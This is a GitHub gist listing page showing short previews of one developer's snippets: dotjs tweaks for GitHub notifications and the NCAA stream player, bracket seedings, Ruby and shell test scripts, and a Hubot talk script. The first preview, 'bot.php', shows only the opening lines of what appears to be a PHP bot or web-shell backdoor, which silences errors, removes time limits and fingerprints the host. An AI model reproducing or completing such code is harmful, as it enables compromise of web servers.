Skip to content

Instantly share code, notes, and snippets.

💭
Independent contracting and consulting, starting August, 2019

Rick Bradley rick

💭
Independent contracting and consulting, starting August, 2019
Block or report user

Report or block rick

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View bot.php
<?php
set_time_limit(0);
error_reporting(0);
$dir = getcwd();
$uname= @php_uname();
function whereistmP()
{
$uploadtmp=ini_get('upload_tmp_dir');
@rick
rick / github.com.js
Created Sep 19, 2013
dotjs file to mute unread github notifications on a repo
View github.com.js
$("button.mark-all-as-read").parent().prepend('<button class="box-action mute-all-unread css-truncate tooltipped upwards" original-title="mute all unread notifications"> <span class="octicon octicon-mute"></span> </button>');
$('button.mute-all-unread').click(function(event) {
// mute all unread notifications
$(this).parent().parent().parent().find('li.unread').find('.js-mute-notification button').click();
return false;
});
@rick
rick / ncaa.com.js
Created Mar 24, 2013
Make it possible to skip NCAA ads in March Madness live stream. Run this with dotjs and, when the main flash app with the game schedule comes on, click the '75th anniversary' icon at the bottom of the page, then proceed to your game. Should let you use video controls again (usually disabled when ads are on).
View ncaa.com.js
$("#footer span.footerText a").first().click(function(){
event.preventDefault();
orig = $('#mainApp object param[name="flashvars"]').attr('value');
replacement = orig.replace('superduperdevtime=false', 'superduperdevtime=true');
$('#mainApp object param[name="flashvars"]').attr('value', replacement);
});
@rick
rick / intra-seeds.txt
Created Mar 19, 2013
Intra-seed rankings - March Madness 2013
View intra-seeds.txt
- seed rankings
1
louisville
indiana
kansas
gonzaga
@rick
rick / foo.rb
Created Oct 17, 2012
sample of how instance variables and accessors behave
View foo.rb
~ (master)(*)$ irb
>>
>> class Foo
>> attr_accessor :read_write
>> attr_reader :readonly
>> attr_writer :writeable
>>
?> def initialize(read_write, readonly, writeable)
>> @read_write = read_write
>> @readonly = readonly
@rick
rick / public.rb
Created Sep 12, 2012
public gist
View public.rb
#!/usr/bin/env ruby
echo "public"
raise "private"
@rick
rick / gist:3667503
Created Sep 7, 2012 — forked from mgencur/gist:3666350
just testing forking of public gists. ignore me :-)
View gist:3667503
dependency>
<groupId>org.jboss.weld</groupId>
<artifactId>weld-core</artifactId>
<version>1.1.8.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.weld.servlet</groupId>
<artifactId>weld-servlet-core</artifactId>
<version>1.1.8.Final</version>
<scope>compile</scope>
@rick
rick / test.sh
Created Sep 7, 2012
public test gist
View test.sh
#!/bin/sh
echo "this is a test."
exit 1
View testing.rb
#!/usr/bin/env ruby
raise "this is a test."
# end
test
@rick
rick / bringit.rb
Created Aug 15, 2012
github summit fall 2012 hubot ignite talk
View bringit.rb
#!/usr/bin/env ruby
require 'github-campfire'
def ask_for_image(phrase)
`growlnotify -m "#{phrase}"`
GitHub::Campfire.notify("/img me #{phrase}", GitHub::Campfire::HUBOT)
end
phrases = [
'hubot ignite', # new presentation style
You can’t perform that action at this time.